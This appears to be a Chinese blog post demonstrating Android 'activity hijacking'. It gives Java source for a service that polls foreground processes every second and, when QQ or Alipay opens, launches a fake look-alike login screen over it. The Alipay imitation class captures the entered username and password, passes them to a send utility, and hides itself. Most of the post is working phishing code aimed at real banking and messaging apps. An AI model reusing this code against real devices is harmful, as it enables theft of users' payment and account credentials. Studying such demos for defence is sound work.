Activity劫持

    package com.sinaapp.msdxblog.android.activityhijacking.service; 
     
    import java.util.HashMap; 
    import java.util.List; 
     
    import android.app.ActivityManager; 
    import android.app.ActivityManager.RunningAppProcessInfo; 
    import android.app.Service; 
    import android.content.Context; 
    import android.content.Intent; 
    import android.os.Handler; 
    import android.os.IBinder; 
    import android.util.Log; 
     
    import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication; 
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity; 
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity; 
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity; 
     
    /**
     * @author Geek_Soledad ([e-mail])
     */ 
    public class HijackingService extends Service { 
        private boolean hasStart = false; 
        // 这是一个悲伤的故事…… 
        HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>(); 
     
        // Timer mTimer = new Timer(); 
        Handler handler = new Handler(); 
     
        Runnable mTask = new Runnable() { 
     
            @Override 
            public void run() { 
                ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); 
                List<RunningAppProcessInfo> appProcessInfos = activityManager 
                        .getRunningAppProcesses(); 
                // 枚举进程 
                Log.w("hijacking", "正在枚举进程"); 
                for (RunningAppProcessInfo appProcessInfo : appProcessInfos) { 
                    // 如果APP在前台，那么——悲伤的故事就要来了 
                    if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { 
                        if (mSadStories.containsKey(appProcessInfo.processName)) { 
                            // 进行劫持 
                            hijacking(appProcessInfo.processName); 
                        } else { 
                             Log.w("hijacking", appProcessInfo.processName); 
                        } 
                    } 
                } 
                handler.postDelayed(mTask, 1000); 
            } 
     
            /**
             * 进行劫持
             * @param processName
             */ 
            private void hijacking(String processName) { 
                Log.w("hijacking", "有程序要悲剧了……"); 
                if (((HijackingApplication) getApplication()) 
                        .hasProgressBeHijacked(processName) == false) { 
                    Log.w("hijacking", "悲剧正在发生"); 
                    Intent jackingIsComing = new Intent(getBaseContext(), 
                            mSadStories.get(processName)); 
                    jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 
                    getApplication().startActivity(jackingIsComing); 
                    ((HijackingApplication) getApplication()) 
                            .addProgressHijacked(processName); 
                    Log.w("hijacking", "已经劫持"); 
                } 
            } 
        }; 
     
        @Override 
        public IBinder onBind(Intent intent) { 
            return null; 
        } 
     
        @Override 
        public void onStart(Intent intent, int startId) { 
            super.onStart(intent, startId); 
            if (!hasStart) { 
                mSadStories.put("com.sinaapp.msdxblog.android.lol", 
                        JokeActivity.class); 
                mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class); 
                mSadStories.put("com.eg.android.AlipayGphone", 
                        AlipayStoryActivity.class); 
                handler.postDelayed(mTask, 1000); 
                hasStart = true; 
            } 
        } 
     
        @Override 
        public boolean stopService(Intent name) { 
            hasStart = false; 
            Log.w("hijacking", "劫持服务停止"); 
            ((HijackingApplication) getApplication()).clearProgressHijacked(); 
            return super.stopService(name); 
        } 
    } 



下面是支付宝的伪装类（布局文件就不写了，这个是对老版本的支付宝界面的伪装，新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼，读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层，而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件）。
Java代码  收藏代码

    /*
     * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo
     * Date:2012-6-7
     *
     * Copyright (c) 2011 CFuture09, Institute of Software, 
     * Guangdong Ocean University, Zhanjiang, GuangDong, China.
     * All rights reserved.
     *
     * Licensed under the Apache License, Version 2.0 (the "License");
     *  you may not use this file except in compliance with the License.
     * You may obtain a copy of the License at
     *
     *     http://www.apache.org/licenses/LICENSE-2.0
     *
     * Unless required by applicable law or agreed to in writing, software
     * distributed under the License is distributed on an "AS IS" BASIS,
     * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     * See the License for the specific language governing permissions and
     * limitations under the License.
     */ 
    package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories; 
     
    import android.app.Activity; 
    import android.os.Bundle; 
    import android.os.Handler; 
    import android.os.HandlerThread; 
    import android.text.Html; 
    import android.view.View; 
    import android.widget.Button; 
    import android.widget.EditText; 
    import android.widget.TextView; 
     
    import com.sinaapp.msdxblog.android.activityhijacking.R; 
    import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil; 
     
    /**
     * @author Geek_Soledad ([e-mail])
     */ 
    public class AlipayStoryActivity extends Activity { 
        private EditText name; 
        private EditText password; 
        private Button mBtAlipay; 
        private Button mBtTaobao; 
        private Button mBtRegister; 
     
        private TextView mTvFindpswd; 
     
        @Override 
        protected void onCreate(Bundle savedInstanceState) { 
            super.onCreate(savedInstanceState); 
            this.setTheme(android.R.style.Theme_NoTitleBar); 
            setContentView(R.layout.alipay); 
            mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); 
            mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); 
            mBtRegister = (Button) findViewById(R.id.alipay_bt_register); 
            mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); 
            mTvFindpswd.setText(Html.fromHtml("找回登录密码")); 
            mBtAlipay.setSelected(true); 
     
            name = (EditText) findViewById(R.id.input_name); 
            password = (EditText) findViewById(R.id.input_password); 
     
        } 
     
        public void onButtonClicked(View v) { 
            switch (v.getId()) { 
            case R.id.alipay_bt_login: 
                HandlerThread handlerThread = new HandlerThread("send"); 
                handlerThread.start(); 
                new Handler(handlerThread.getLooper()).post(new Runnable() { 
                    @Override 
                    public void run() { 
                        // 发送获取到的用户密码 
                        SendUtil.sendInfo(name.getText().toString(), password 
                                .getText().toString(), "支付宝"); 
                    } 
                }); 
                moveTaskToBack(true); 
     
                break; 
            case R.id.alipay_bt_alipay: 
                chooseToAlipay(); 
                break; 
            case R.id.alipay_bt_taobao: 
                chooseToTaobao(); 
                break; 
            default: 
                break; 
            } 
        } 
     
        private void chooseToAlipay() { 
            mBtAlipay.setSelected(true); 
            mBtTaobao.setSelected(false); 
            name.setHint(R.string.alipay_name_alipay_hint); 
            mTvFindpswd.setVisibility(View.VISIBLE); 
            mBtRegister.setVisibility(View.VISIBLE); 
        } 
     
        private void chooseToTaobao() { 
            mBtAlipay.setSelected(false); 
            mBtTaobao.setSelected(true); 
            name.setHint(R.string.alipay_name_taobao_hint); 
            mTvFindpswd.setVisibility(View.GONE); 
            mBtRegister.setVisibility(View.GONE); 
        } 
    }